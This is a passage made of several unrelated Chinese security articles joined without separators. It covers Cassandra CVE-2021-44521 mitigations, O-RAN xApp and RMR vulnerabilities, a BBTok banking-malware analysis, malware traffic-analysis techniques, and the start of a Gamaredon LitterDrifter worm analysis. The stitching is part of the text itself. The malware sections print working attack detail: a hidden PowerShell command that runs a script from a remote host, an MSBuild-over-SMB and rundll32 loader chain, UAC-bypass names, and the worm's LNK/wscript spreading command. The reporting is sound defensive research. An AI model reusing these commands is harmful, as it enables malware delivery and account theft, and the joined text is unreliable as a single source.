但是,這個工具可以通過提供-h標誌和IP地址來監聽任何接口;

來自套接字的輸入直接由StressServer.java 反序列化,這意味著攻擊者可能會提供一個序列化的“gadget”對象,導致反序列化時執行任意代碼:

10.png

這個漏洞的利用取決於正在運行的Cassandra 實例的類路徑中的可用類。

我們敦促用戶確保他們沒有運行帶有指向外部接口的-h 標誌的cassandra-stressd 工具。

如何修復CVE-2021-44521?我們強烈建議所有Apache Cassandra 用戶升級到以下版本,它可以緩解CVE-2021-44521:

3.0.x 用戶應升級到3.0.26

3.11.x 用戶應升級到3.11.12

4.0.x 用戶應升級到4.0.2

Apache 的修復添加了一個新標誌——allow_extra_insecure_udfs(默認為false),它不允許關閉安全管理器並阻止對java.lang.System 的訪問。

如果用戶希望他們的udf與沙箱外的元素交互(並且不介意潛在的安全風險),可以打開該標誌來恢復原來的行為(不推薦!)。

如何緩解CVE-2021-44521?對於無法升級Cassandra實例的用戶,我們建議採取以下緩解措施:

如果UDF沒有被積極使用,可以通過將enable_user_defined_functions設置為false(這是默認值)來完全禁用它們;

如果需要UDF,請將enable_user_defined_functions_threads 設置為true(這是默認值);

通過刪除以下權限來刪除為不受信任的用戶創建、更改和執行函數的權限:ALL FUNCTIONS、ALL FUNCTIONS IN KEYSPACE 和FUNCTION 用於CREATE、ALTER 和EXECUTE 查詢。

這可以使用以下查詢來完成,方法是將role_name替換為所需的角色。

11.png

總結最後,我們強烈建議將Cassandra 升級到最新版本,以避免CVE-2021-44521威脅。

開放式無線接入網(ORAN or O-RAN) 是搭建一個開放、虛擬化和智能的無線接入網(RAN) 體系結構,從而創造一個包含多家廠商、各家廠商的產品之間可以互操的生態系統。開放無線接入網(ORAN)體系結構為以前封閉的系統提供了標準化的接口和協議。然而,通過對ORAN的研究表明,惡意xApps構成的潛在威脅能夠危及整個Ran智能控制器(RIC)子系統。 Open RAN為5G無線接入網(RAN)引入了模塊化和解耦的設計範式,並承諾通過O-RAN定義的RAN智能控制器(RIC, RAN Intelligent Controller)實現完全的可編程性。

開放式無線電接入網架構通過建立標準接口和協議提供了對先前封閉的無線電接入網系統的接入。預計不同的供應商將在O-RAN中創建eXtended應用程序(xApps),由運營商安裝,這使得xApps成為惡意攻擊者的潛在攻擊向量,目的是在關鍵通信節點中站穩腳跟。

本文將會介紹惡意xApp如何危害整個RAN智能控制器(RIC)子系統。

5G網絡下圖為5G蜂窩網絡的總體架構。通過對分組核心的一些修改,拓撲結構也可以擴展以適應前幾代網絡(如3G和4G)。在下圖的左側是用戶:

1.png

5G網絡的端到端架構

基站(如圖2所示)由以下組件組成:

1.發射和接收無線電信號的天線。

2.一種遠程無線電頭(RRH),它容納射頻(RF)收發器,負責將數字信號轉換為無線電信號,反之亦然。

3.一種基帶單元(BBU),用於處理數字數據處理,包括調製、編碼和解碼以及更高層協議。 BBU可以管理多個RRH和天線。

2.png

典型RAN架構的組件

rrh通常位於天線附近,安裝在手機信號塔上。 BBUs曾經與蜂窩塔同處一處,但目前的基礎設施促使它們會位於更遠的中心位置。 RAN的演變如本文所示。

vRAN(虛擬化RAN)是一種運行在商用現成硬件上的虛擬化BBU。在分離式vRAN設計中,BBU分為CU (central unit)和DU (distributed unit)兩部分。

Open RAN儘管虛擬化和分解,RAN體系結構仍然相對封閉(也就是說,大多數組件必須來自同一供應商以確保兼容性)。當網絡架構關閉時,運營商通常需要向單一供應商支付巨額費用來購買設備和技術。

O-RAN架構旨在通過採用開放的標準、接口和協議來實現互操作性和靈活性。開放式RAN打破了系統的封閉性,允許運營商從不同的供應商選擇設備和軟件,從而實現更高程度的網絡定制(例如,從一個供應商購買CU,然後從另一個供應商獲得DU)。這允許更多的二、三線設備製造商參與進來。

O-RAN不僅僅是開放接口,它還通過基於人工智能的控制實現對下一代ran的開放訪問。本地網絡實體和RIC之間的開放接口可以促進無線電資源的實時感知、管理和響應。然而,由於其開放標準的性質,O-RAN本質上更容易受到攻擊和其他威脅,因此設計適當的安全機制非常重要。

O-RAN聯盟O-RAN聯盟是一個開放的技術組織,由移動運營商、供應商、研究組織和學術機構組成,致力於推進open RAN概念,該聯盟已經設計了一套open RAN規範。

該聯盟之前與Linux基金會合作開發了該規範的參考實現,稱為O-RAN SC, O-RAN SC規範是開源的,其代碼來自愛立信、諾基亞、三星、Radisys和ATT等頂級RAN供應商。鑑於這種協作努力,許多供應商更有可能將O-RAN SC代碼納入其商業產品中。

O-RAN架構O-RAN聯盟在其網站上提供了O-RAN架構的概述,下圖顯示了O-RAN如何適應5G網絡拓撲結構。

3.png

O-RAN如何適應5G網絡拓撲結構

Near-RT RIC和RIC消息路由器(RMR)Near-RT RIC使用E2接口來控制底層的RAN組件(包括CU、DU和RU),可以將它看作OpenFlow在RAN中的對應組件。 E2接口的要求是能夠將Near-RT RIC連接不同供應商的不同類型的RAN組件。這個要求反映在圍繞服務模型(Service Model) 抽象的API中,其思想是每個RAN組件都發布一個服務模型,定義該組件能夠支持的RAN功能集。

Near-RTRIC是O-RAN體系結構的重要組成部分之一,它對網絡中的RF資源進行監控和管理,以優化網絡性能。它可以實時收集和分析網絡數據,還可以做出智能決策,優化無線資源的配置,使這些資源能夠滿足不同終端設備和服務的需求。

在Near-RT的RIC中,還有許多其他子組件,如E2term、E2Mgr和xApps。這些組件之間的通信依賴於RIC Message Router (RMR)表,在Near-RT的RIC中,該表通常包含與消息的路由和管理相關的信息。這些表包括消息的目的地、優先級、隊列和其他相關屬性等詳細信息。

RMR表包括以下信息:

消息目的地:指定應將消息路由到何處以及應處理該消息的實體或處理程序。優先事項指示處理消息的優先級,以確保重要消息得到更快的響應。

排隊:用於存儲消息以供後續處理。

消息類型:標識消息的類型,以便正確的處理程序能夠處理它。

消息標識符:標識消息的唯一值:它用於跟踪消息狀態和處理進度。

RMR庫是一組用於與RMR表交互的api,它包含在組成Near-RTRIC的組件中,例如xApp和E2Term。例如,兩個獨立xapp之間的交互將通過RMR進行。在這種情況下,xApp_A將根據KPI信息做出判斷,然後通過RMR調用xApp_B。

下圖顯示了使用RMR庫和路由表的Near-RTRIC中組件之間的交互。

4.png

RIC組件如何使用RMR

我們的研究揭示了Near-RTRIC的消息傳遞基礎設施中的多個漏洞。

攻擊方法在Near-RT的RIC中運行,xApps是提供諸如無線電資源優化、網絡監控和性能增強等功能的軟件組件。這些組件可以由網絡運營商、第三方開發人員或網絡設備供應商進一步開發,以增加獨特的價值和功能。從這個意義上說,xApps可以被認為是所有O-RAN組件中最開放的。

這種多廠商生態系統推動了創新,但也帶來了以下挑戰:

安全xApp登錄;

互操作性;

魯棒性問題;

通常情況下,xApps應該來自多個供應商。因此,我們開始研究時假設xApps是一種潛在的攻擊媒介,xApp可能會通過供應鍊或劫持引導進程而受到攻擊。即使是良性的xApp,如果它發出意外的或異常的消息,也會造成傷害。我們的研究結果證實了這些假設。

RMR漏洞CVE-2023-40998:來自xApp的精心製作的惡意數據包導致RT RIC的E2term崩潰。

CVE-2023-40998漏洞涉及錯誤的數據包信息,可能導致解碼過程中的數據包大小為負,從而導致執行內存操作時崩潰。

5.png

CVE-2023-40998消息流

消息大小變為負數的原因是它由數據包的前四個字節決定。如果設置不正確,它可能在解碼過程中導致負值,從而導致崩潰。

CVE-2023-40997:以無效格式發送的精心製作的消息導致Near-RTRIC的E2term崩潰。

6.png

CVE-2023-40997消息流

CVE-2023-40997發送報文無法正確解碼,導致內存地址計算錯誤,導致E2Term崩潰。

CVE-2023-41627:RMR表欺騙E2Term依賴路由管理器定期發送的路由表信息來與RIC系統中的其他組件建立通信,但E2Term不會驗證它接收到的路由表信息的發送方。由於缺乏驗證,攻擊者可以通過向E2Term發送偽造路由表信息來利用CVE-2023-41627漏洞,通過使用路由管理器以更高的頻率將此信息發送給E2Term,攻擊者可以欺騙E2Term併中斷其與其他組件的通信。

7.png

CVE-2023-41627消息流

RMR劫持:兩個xapp使用相同的訂閱ID發送相同的消息類型當xApp_A向訂閱E2節點發送函數ID時,xApp_B向訂閱E2節點發送相同的函數ID。然後,xApp_A RMR表項將被覆蓋,這意味著它不能從E2節點接收消息。相反,E2節點將向第二個xApp_B發送消息。

O-RAN是通信網絡的關鍵組成部分,O-RAN節點存儲加密密鑰並處理用戶流量。

這裡描述的兩個漏洞會導致DoS事件,它們與xApps、RMR和Near-RT的RIC有關。這些組件提供射頻資源優化和流量管理等增值服務。

O-RAN設計用於在RIC/E2組件不可用的情況下進行流量處理。理論上,RIC組件的崩潰不應該關閉蜂窩連接。但是,這可能導致資源利用不暢和服務退化。

同時,RMR欺騙和劫持可以在不關閉任何組件的情況下破壞RIC中的xApp生態系統。這就造成了資源利用率低下和服務退化。

即使是良性的xapp也可能由於實現不當而造成損害。這可能會對O-RAN中多廠商組件的互操作性產生不利影響。

緩解嚴格的驗證和登錄過程可以防止惡意xApps進入系統,即使RIC組件發生故障,確保O-RAN也可以處理網絡流量,這也可以緩解攻擊的影響。

建議使用深度包檢測(DPI)系統來檢查組件之間的流量,以便可以根據需要應用熱補丁。

這個DPI系統能夠理解O-RAN協議。

微信截图_20230923224318.png

Check Point Research研究人員最近在拉丁美洲發現了一個活躍活動,該活動正在操作和部署BBTok銀行軟件的新變體。在這項研究中,我們會介紹新發現的攻擊鏈,這些攻擊鏈使用了一種獨特的Living off the land Binaries組合,所以,儘管BBTok銀行軟件至少從2020年開始活躍,但時至今日,被檢測到的概率還是很低。在分析該活動時,研究人員發現了一些攻擊者在攻擊中使用的服務器端資源,目標是巴西和墨西哥的數百名用戶。

服務器端組件負責提供可能通過網絡釣魚鏈接傳播的惡意有效負載。我們已經觀察到相同的服務器端腳本和配置文件的多次迭代,這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時間的推移而演變的過程。這我們得以一窺攻擊者尚未實現的攻擊媒介,並追踪用於維持此類操作的源代碼的起源。

我們將在本文重點介紹用於傳播銀行軟件的有效負載服務器的一些服務器端功能,它們可以為每個受害者產生獨特的有效負載。

發現過程BBTok異常活躍,針對巴西和墨西哥的用戶,採用多層地理圍欄來確保受攻擊的設備僅來自這些國家。

自2020年BBTok最後一次公開報導以來,運營商的技術、戰術和程序(TTPs)發生了重大變化,增加了額外的混淆層和下載器,從而使檢測率降到最低。

BBTok銀行有一個專門的功能,可以復制40多家墨西哥和巴西銀行的界面,並欺騙受害者將其雙重身份驗證代碼輸入他們的銀行賬戶或輸入他們的支付卡號。

新識別的有效負載是由自定義服務器端應用程序生成的,該應用程序負責根據操作系統和位置為每個受害者生成唯一的有效負載。

對有效負載服務器端代碼的分析顯示,攻擊者正在積極維護不同版本Windows的多樣化攻擊鏈,這些鏈使用各種各樣的文件類型,包括ISO, ZIP, LNK, DOCX, JS和XLL。

攻擊者在他們的武器庫中添加開源代碼、來自黑客論壇的代碼和新的漏洞(例如Follina)。

BBTok銀行軟件歷史BBTok銀行軟件於2020年首次被披露,通過無文件攻擊部署在拉丁美洲。其功能非常齊全,包括枚舉和終止進程、鍵盤和鼠標控制以及操作剪貼板內容。除此之外,BBTok還包含經典的銀行木馬功能,模擬在墨西哥和巴西運營的各種銀行的虛假登錄頁面。

自從首次被公開披露以來,BBTok運營商已經採用了新的https,同時仍然主要利用帶有附件的網絡釣魚電子郵件進行初始攻擊。最近,我們看到了銀行軟件通過網絡釣魚鏈接傳播的跡象,而不是作為電子郵件本身的附件。

在訪問惡意鏈接時,會將ISO或ZIP文件下載到受害者的計算機上,這些文件包含一個啟動攻擊鏈的LNK文件,在打開一個誘餌文件的同時,導致銀行軟件的部署。雖然乍一看,這個過程似乎很簡單,但幕後操作非常複雜。

在分析這些新發現的鏈接時,研究人員發現了用於傳播惡意軟件的內部服務器端資源。很明顯,攻擊者保持了廣泛的攻擊鏈,每次點擊都根據需要生成,並根據受害者的操作系統和位置進行定制。

BBTok銀行攻擊BBTok為其運營商提供了廣泛的功能,從遠程命令到經典的銀行木馬功能,BBTok可以復制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行,如花旗銀行、豐業銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項卡的名稱,搜索銀行名稱,來尋找受害者是這些銀行客戶的跡象。

其默認目標顯然是西班牙對外銀行(BBVA),其默認的虛假界面旨在復制其外觀。這些虛假的界面冒充合法機構,誘使毫無戒心的用戶洩露個人和財務信息,該功能的重點是誘騙受害者輸入作為銀行賬戶密碼,並接管受害者的銀行賬戶。

1.png

嵌入BBTok 銀行軟件中的虛假接口示例

BBTok是用Delphi編寫的,它使用可視化組件庫(VCL)來創建表單,毫不誇張地說,這些表單形成了這些虛假的界面,這使得攻擊者可以動態、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會引起懷疑。作為銀行軟件的默認目標銀行,西班牙對外銀行(BBVA)將其接口存儲在一個名為“TFRMBG”的表單中,除了銀行網站,攻擊者也開始在受攻擊的設備上搜索有關比特幣的信息,積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。

除此之外,BBTok還可以安裝惡意瀏覽器擴展或註入名為“rpp.dll”的DLL來進一步控制受攻擊的系統,並可能提高其欺騙受害者的能力。

值得注意的是,該攻擊者採取了謹慎的方式所有的銀行活動都是在其C2服務器的直接命令下執行的,而不是在每個受攻擊的系統上自動執行。

負載服務器分析為了有效管理他們的活動,BBTok運營商創建了一個獨特的流程,由受害者點擊惡意鏈接啟動,該鏈接可能是通過釣魚電子郵件發送的。當受害者點擊鏈接時,會根據受害者的操作系統下載ZIP文件或ISO映像。這個過程對受害者來說是無感的,但服務器會根據請求中找到的參數生成唯一的有效負載。

2.png

BBTok攻擊中使用的服務器端組件

此過程在基於xampp的服務器上執行,包含三個基本組件:

一個PowerShell腳本,用於處理有效負載準備,並包含創建lure文檔的主要邏輯;

一個PHP代碼庫和數據庫,用於記錄和管理攻擊;

增強這些組件功能的輔助實用程序。

具體流程如下:

受害者向/baxar、/descargar或/descarga執行HTTP請求(這些路徑表明誘餌是西班牙語或葡萄牙語);

基於.htaccess文件,服務器使用descarga.php處理請求;

腳本利用文件db.php通過SQLite數據庫存儲有關請求的信息,包括受害者的信息;

Desarga.php調用ps_gen.ps1來生成一個自定義文檔,該文檔最終會傳遞給受害者。

傳入請求處理

PHP代碼庫由以下文件組成:

1.descarga/descargar.php:管理新的連接並向受害者的電腦提供引誘文檔。

2.db.php:生成並管理包含受害者詳細信息的SQLite數據庫。

3.generator.php:用於生成隨機鏈接、字符串和其他功能的實用程序類。

4.“Descarga”和“descargar”在西班牙語中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評論,其中一些是純西班牙語和葡萄牙語,這些評論暗示了攻擊者的來源。

腳本邏輯:

1.它根據ip-api.com檢查鏈接引用的受害者的地理位置,並將其存儲在文件中。如果受害者不是來自目標國家(例如,墨西哥或巴西),則HTTP連接立即以404消息結束。

3.png

2.如果受害者通過了檢查,則腳本解析用戶代理以獲取受害者的Windows操作系統版本。

4.png

3.然後,它將帶有受害者的國家/地區代碼和引誘文件名的用戶代理傳遞到PowerShell有效負載生成器腳本。

PowerShell負載生成器腳本ps_gen.ps1包含用於生成ZIP或ISO文件形式的文檔有效負載的主要邏輯。最新版本的代碼有很多失效的部分,這部分在過去可能是有效的,這表明它們包含額外的感染鍊和誘餌,我們發現了該文件的多個版本,其中一些可以追溯到2022年7月,這表明該活動已經進行了很長一段時間。

生成器腳本由descarga.php調用,使用帶有參數file_name、ver和cc的函數DownloadFile,這些對應於生成的文檔名稱、受害者的操作系統版本和受害者的國家代碼。

5.png

在觀察到的服務器迭代中使用的代碼部分基於兩個參數生成文檔有效負載:

受害者的國度:巴西或墨西哥;

從User-Agent中提取的操作系統:Windows 10或7;

根據結果,選擇惡意文檔的以下參數:

文件類型:Windows 10為ISO, Windows 7為ZIP;

下一階段使用的DLL文件的名稱根據目標國家的不同而變化:Trammy用於巴西,Gammy用於墨西哥。

該文檔包含一個鏈接:Windows 10中的LNK快捷圖標是Microsoft Edge使用的快捷圖標,Windows 7中的LNK快捷圖標是Google Chrome使用的快捷圖標。

最後的執行邏輯:對於Windows 10受害者,該腳本使用來自服務器216[.]250[.]251[.]196的名為dat.xml的文件執行MSBuild.exe,該文件還存儲下一階段的惡意DLL。對於Windows7,負載只是通過CMD執行下載相關的遠程DLL。

6.png

添加位置混淆

所有有效載荷都使用Add-PoshObfusion函數進行模糊處理。對部分代碼的簡單搜索會從“良性”網站hackforums[.]net中得到一個結果,特別是2021年8月一位名為“Qismon”的用戶的回复,其還推薦了一些繞過AMSI和安全產品的方法,並分享PoshObfusion代碼:

7.png

在hackforums[.]net中共享的Add-PoshObfuscation()代碼

攻擊鍊和最終有效負載上面描述的過程最終導致了兩個攻擊鏈的變體:一個針對Windows 7,一個針對Windows 10。兩個版本之間的差異可以解釋為試圖避免新實現的檢測機制,如AMSI。

*ammy.dll下載程序兩個感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。後者是BBTok加載程序的精簡和混淆版本,在執行任何惡意操作之前使用地理圍欄來阻止檢測。最後的有效負載是一個新版本的BBTok銀行程序。如上所述,BBTok附帶了多個額外的密碼保護軟件。這些漏洞允許攻擊者完全訪問受攻擊的設備和其他功能。

Windows 7攻擊鏈8.png

Windows 7攻擊鏈

Windows 7的攻擊鏈不是唯一的,它由存儲在ZIP文件中的LNK文件組成。在執行LNK文件時,使用rundll32.exe運行* my.dll負載,rundll32.exe依次下載、提取和運行BBTok負載。

Windows 10攻擊鏈9.png

Windows 10攻擊鏈

Windows 10的攻擊鏈存儲在一個包含3個組件的ISO文件中:一個LNK文件,一個lure文件和一個重命名的cmd.exe可執行文件。點擊LNK文件啟動攻擊鏈,使用重命名的cmd.exe以以下方式運行所有命令:

10.png

攻擊鏈將lure文件複製到文件夾%userprofile%並打開它。

11.png

在BBTok攻擊中釋放的Lure文件

運行MSBuild.exe,使用存儲在遠程服務器上的XML(通過SMB獲取)構建應用程序。

MSBuild.exe創建一個隨機命名的DLL,它反過來從服務器下載* my. DLL,並以重命名的rundll32.exe(mmd.exe)運行它,如XML內容所示:

12.png

dll下載程序下載、提取並運行BBTok負載

重命名CMD、MSBuild和通過SMB獲取文件的獨特組合導致Windows 10攻擊鏈很少被檢測到。

早期版本在對BBTok活動的分析中,研究人員遇到了來自有效負載服務器的多個版本的工件。我們看到PHP代碼、PowerShell腳本和其他實用程序都發生了變化。

PHP代碼的變化查看descarga.php腳本的早期版本,我們看到了一些關鍵的差異:

最初,只有來自墨西哥的受害者會成為攻擊目標。另一個有效負載服務器176[.]31[.]159[.]196的IP在腳本中進行了硬編碼。

這裡沒有直接執行PowerShell腳本,而是調用了一個名為gen.php的腳本。雖然研究人員無法獲得這個腳本,但相信它只是執行了PowerShell腳本。

使用db.php文件將受害者的IP地址、用戶代理和標誌(jaBaixou,即葡萄牙語中的“已下載”)插入數據庫中。稍後檢查該標誌,以確保不會提供相同的有效負載。

由於最新版本中未使用此部分,攻擊者可能發現此過程繁瑣,並決定用OPSEC來換取更容易的管理和更高的攻擊成功機率。

PowerShell腳本修改說明查看PowerShell腳本的舊版本,可以清楚地看到對負載和執行鏈進行了大量更改。在最早版本的腳本中,LNK只是運行一個PowerShell腳本,其參數為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。

後來的更新添加了lure PDF,fac.PDF(“fac”是“factura”的縮寫,在葡萄牙語中是“發票”)。這是來自墨西哥科利馬縣的合法西班牙語收據。此外,Windows7受害者的有效負載啟動了一個合法的墨西哥政府網站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。

研究人員發現的最新版本打開了一個不同的合法網站hxxps://fazenda[.]gov[.]br,巴西政府網站。此版本還更改了MSBuild使用的XML文件,並將為巴西目標保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。

未使用的代碼和感染媒介PowerShell腳本中的某些代碼部分未使用,服務器託管的文件不屬於我們討論的主要感染流。特別是,研究人員沒有發現任何積極使用以下內容的跡象:

ze.docx是一份利用Follina CVE(2022-30190)的文檔。 PowerShell腳本中名為CreateDoc的函數中引用了它。

CreateXLL引用的xll.xll是從開源項目中獲取的惡意xllhttps://github.com/moohax/xllpoc,通過Excel實現代碼執行。在服務器上發現了許多空的JavaScript文件,這些文件很可能被名為CreateJS的函數使用。函數b.js中引用的文件是空的,因此不清楚該函數以前是使用過還是從未完全實現過。

服務器上有多個bat文件,每個文件都有不同的下載下一階段的實現。這些很可能是由名為CreateBat的函數創建的,該函數在最新版本的PowerShell腳本中被取消掉了。它們中的大多數幾乎與我們之前分析的ByFD函數中的代碼相同,不包括過去兩次值得注意的迭代:

最舊的bat文件下載了另一個PowerShell腳本作為下一階段(該腳本不再公開),而不是編輯註冊表;

稍後的bat文件使用了fodhelper UAC繞過,而不是當前正在使用的computerdefaults繞過。

受害者分析研究人員對服務器端組件的分析也揭示了最近的一個活動,從攻擊者的角度來看,這是基於他們發現的一個數據庫,該數據庫記錄了對惡意應用程序的訪問。該數據庫名為links.sqlite,非常簡單。它包含150多個條目,所有條目都是唯一的,表頭與db.php創建的條目相對應。

chave或key;

assunto或subject;

user_agent ;

baixou或downloaded。

名為chave的列包含受害者的IP地址,而assunto列為空:

13.png

Links.sqlite數據庫

14.png

攻擊區域

由於除了攻擊者之外,任何人都不會看到服務器代碼,並且其中包含大量葡萄牙語評論,我們認為這表明攻擊者很可能是巴西人,巴西人以其活躍的銀行惡意軟件生態系統而聞名。

總結儘管BBTok目前僅在巴西墨西哥活動,但很明顯,它仍在積極開發中。由於其眾多功能,以及涉及LNK文件、SMB和MSBuild的獨特而創造性的傳播方法,它仍然對該地區的組織和個人構成威脅。

惡意軟件分析涵蓋一系列活動,其中包括仔細檢查惡意軟件的網絡流量。要想有效地做好這項工作,關鍵在於要了解常見的威脅以及如何克服這些威脅。下面將介紹企業可能遇到的三個常見問題以及解決它們所需要的工具。

解密HTTPS流量超文本安全傳輸協議(HTTPS)原本是一種確保安全在線通信的協議,如今卻已經成為了惡意軟件隱藏其惡意活動的一種工具。通過偽裝受感染設備與指揮和控制(CC)服務器之間的數據交換,惡意軟件就可以在不被發覺的情況下運行,往外洩露敏感數據,安裝額外的攻擊載荷,並接收來自攻擊者團伙的指令。

然而,如果有合適的工具,解密HTTPS流量就輕而易舉。為此,我們可以使用中間人(MITM)代理,MITM代理充當了客戶機與服務器之間的中介,可以攔截兩者之間傳輸的信息。

MITM代理幫助分析人員實時監控惡意軟件的網絡流量,以便他們清楚地了解惡意活動。除此之外,分析人員還可以訪問請求和響應數據包的內容、IP以及URL,以查看惡意軟件通信的詳細信息,並識別竊取的數據,這種工具對於提取惡意軟件使用的SSL密鑰特別有用。

1.png

圖1. ANY.RUN沙箱提供的有關AxileStealer的信息

在這個例子中,初始文件(大小為237.06 KB)投放AxilStealer的可執行文件(大小為129.54 KB)。作為一種典型的信息竊取器,它獲得了訪問存儲在網絡瀏覽器中的密碼的權限,開始通過Telegram消息傳遞連接將密碼傳輸給攻擊者。

規則“STEALER [ANY.RUN] Attempt to exfiltrate via Telegram”(STEALER [ANY.RUN]企圖通過Telegram往外洩露)表明了惡意活動。由於MITM代理功能,惡意軟件的流量已被解密,揭露了這個事件的更多細節。

發現惡意軟件家族識別惡意軟件家族是任何網絡調查工作的一個關鍵部分。 Yara規則和Suricata規則是用於這項任務的兩種常用工具,但在處理服務器不再活躍的惡意軟件樣本時,它們的有效性卻可能受到限制。

FakeNET為此提供了一個解決方案,即創建一條虛假的服務器連接來響應惡意軟件請求,誘騙惡意軟件發送請求可以觸發Suricata規則或YARA規則,該規則可以準確識別惡意軟件家族。

2.png

圖2. ANY.RUN沙箱檢測到的非活躍服務器

在分析該樣本時,沙箱指出了惡意軟件的服務器沒有響應這個事實。

3.png

圖3. 使用FakeNET識別出來的Smoke Loader惡意軟件

然而,在啟用FakeNET功能後,該惡意軟件立即向虛假的服務器發送請求,觸發識別出它是Smoke Loader的網絡規則。

捕捉針對特定地區的隱蔽性惡意軟件許多攻擊和網絡釣魚活動將目光重點投向特定的地區或國家。隨後,它們結合IP地理位置、語言檢測或網站屏蔽等機制,這些機制可能會限制分析人員檢測它們的能力。

除了針對特定地區外,惡意軟件團伙還可能利用一些技術來逃避沙箱環境中的分析活動。一種常見的方法是驗證系統是否正在使用數據中心IP地址。一旦予以證實,惡意軟件就停止執行。

為了克服這些障礙,分析人員使用了住宅代理。這種出色工具的工作原理是,將分析人員的設備或虛擬機的IP地址換成來自世界不同地區的普通用戶的住宅IP。

這項功能使專業人員能夠通過模仿本地用戶來繞過地理限制,並在不暴露其沙箱環境的情況下研究惡意活動。

4.png

圖4. 使用FakeNET識別出來的Smoke Loader惡意軟件

在這裡(https://app.any.run/tasks/eda5aee1-8231-4024-ae83-51fd29f585e2/?utm_source=thehackernewsutm_medium=articleutm_campaign=howtoanalynetworktrafficutm_content=sampleutm_term=13122023),一旦主機IP地址被上傳到了沙箱,Xworm就立即核查該IP地址。然而,由於虛擬機有一個住宅代理,惡意軟件繼續執行,並連接到其指揮和控制服務器。

微信截图_20231118184928.png

Gamaredon又被稱為Primitive Bear、ACTINIUM和Shuckworm,它的大規模活動通常伴隨著針對特定目標的數據收集工作,這些目標的選擇一般是出於間諜目的。這些活動與部署各種機制和工具並行,機制和工具又盡可能多地保持對這些目標的訪問。其中一種工具是USB傳播蠕蟲,我們將其命名為LitterDrifter。

LitterDrifter蠕蟲是用VBS編寫的,有兩個主要功能:在USB驅動器上自動傳播,以及與廣泛、靈活的命令和控制服務器進行通信。這些特性以與組織目標一致的方式實現,在廣泛目標上維護持久的命令和控制(C2)通道。

接下來,我們將深入分析Gamaredon的LitterDrifter惡意軟件及其C2基礎設施。

Gamaredon的攻擊目標包括烏克蘭、美國、越南、智利、波蘭和德國等多個國家。

1.png

LitterDrifter提交的病毒總數

該組織最近開始部署LitterDrifter,旨在通過可移動USB驅動器傳播並保護C2通道。

LitterDrifter概述LitterDrifter是一種自我傳播的蠕蟲,具有兩個主要功能:在驅動器上傳播,並建立通往Gamaredon廣泛指揮和控制基礎設施的C2通道。這兩個功能駐留在一個以“trash.dll”形式保存到磁盤的業務流程組件中,儘管它有文件擴展名,但它實際上就是一個VBS。

2.png

LitterDrifter高級執行流程

dll作為初始的編排組件,其中運行的主要功能是解碼和執行其他模塊,並在受害者環境中保持初始持久性。

成功執行後,它將運行提取的兩個模塊:

1. 散佈器(Spreader)模塊:在系統中傳播惡意軟件,並通過優先感染mediatype=NULL的邏輯磁盤(通常與USB可移動媒體相關),將其傳播到其他環境。

2. C2模塊:通過生成內置C2服務器的隨機子域來檢索命令和控制服務器IP地址,同時還維護一個備份選項,以便從Telegram通道檢索C2 IP地址。它的主要目的是建立與攻擊者CC服務器的通信,並執行傳入的有效負載。

Dumpster Diving(垃圾搜索)DEOBFUSCODER去混淆編碼編排組件(稱為DEOBFUSCODER)是嚴重混淆的,它是由一系列帶有字符替換混淆的字符串構造的,由7個具有名稱混淆的函數和變量組成。在“Deobfucate”操作的整個運行過程中,LitterDrifter調用一個函數,該函數將執行延遲幾秒鐘(具體時間因示例而異),以延遲後續操作。

main函數接受兩個編碼字符串(另外兩個惡意組件)作為參數。然後,它在用戶的“Favorites”目錄下聲明了兩個路徑,用於存儲來自VBS的其他2個編碼組件的兩個解碼腳本。

為了確保其持久性,Deobfuscoder將原始腳本複製到用戶目錄中名為“trash.dll”的隱藏文件中。

腳本對提供的編碼字符串進行解碼,並將它們作為有效負載組件“jersey.webm”和擴展程序組件“jaw.wm”寫入“收藏夾”目錄,文件的名稱和擴展名以及%userprofile%中的位置因變體而異。

在創建這些文件之後,惡意軟件繼續為這兩個組件中的每一個設置計劃任務,確保它們定期執行。此外,它在註冊表運行項中為用戶的啟動項添加了一個條目,以確保它們在啟動時運行。

任務和啟動條目都使用聽起來像“RunFullMemoryDiagnostic”和“ProcessMemoryDiagnosticEvents”這樣的技術名稱進行偽裝,以顯得合法並避免引起懷疑。

3.png

編排器DEOBFUSCODER的Main Function解混淆片段

整個流程被模糊的函數和變量名以及內聯腳本的使用故意模糊,這使得一般的觀察者很難辨別其意圖和活動。

Spreader模塊分析Spreader模塊的核心本質在於遞歸地訪問每個驅動器中的子文件夾,並創建LNK誘餌快捷方式,以及隱藏的“trash.dll”文件副本。

4.png

trash.dll作為一個隱藏文件與一個誘餌LNK一起分佈在USB驅動器中

在執行時,該模塊使用Windows Management Instrumentation (WMI)查詢計算機的邏輯驅動器,並蒐索MediaType值設置為null的邏輯磁盤,這是一種通常用於識別可移動USB驅動器的方法。

5.png

LitterDrifter的散佈器組件

對於檢測到的每個邏輯驅動器,傳播程序調用createShortcutsInSubfolders函數。在這個函數中,它將所提供文件夾的子文件夾迭代到深度2。

對於每個子文件夾,它使用createsshortcut函數作為“Create LNK”操作的一部分,該操作負責生成具有特定屬性的快捷方式。這些快捷方式是從代碼中的數組中隨機選擇名稱的LNK文件。一個誘餌名稱示例如'Bank_accоunt', 'постановa', 'Bank_accоunt', 'службовa', 'cоmpromising_evidence'。 LNK文件使用wscript.exe***執行帶有指定參數“”“trash.dll”“/webm//e:vbScript//b/wm/cal”的“trash.dll”。除了生成快捷方式外,該函數還在子文件夾中創建一個隱藏的“trash.dll”副本。

6.png

Spreader組件中用於迭代子文件夾的函數

C2模塊分析:清除垃圾Gamaredon的CC方法是非常獨特的,因為它使用域作為C2服務器的流通IP地址的佔位符。

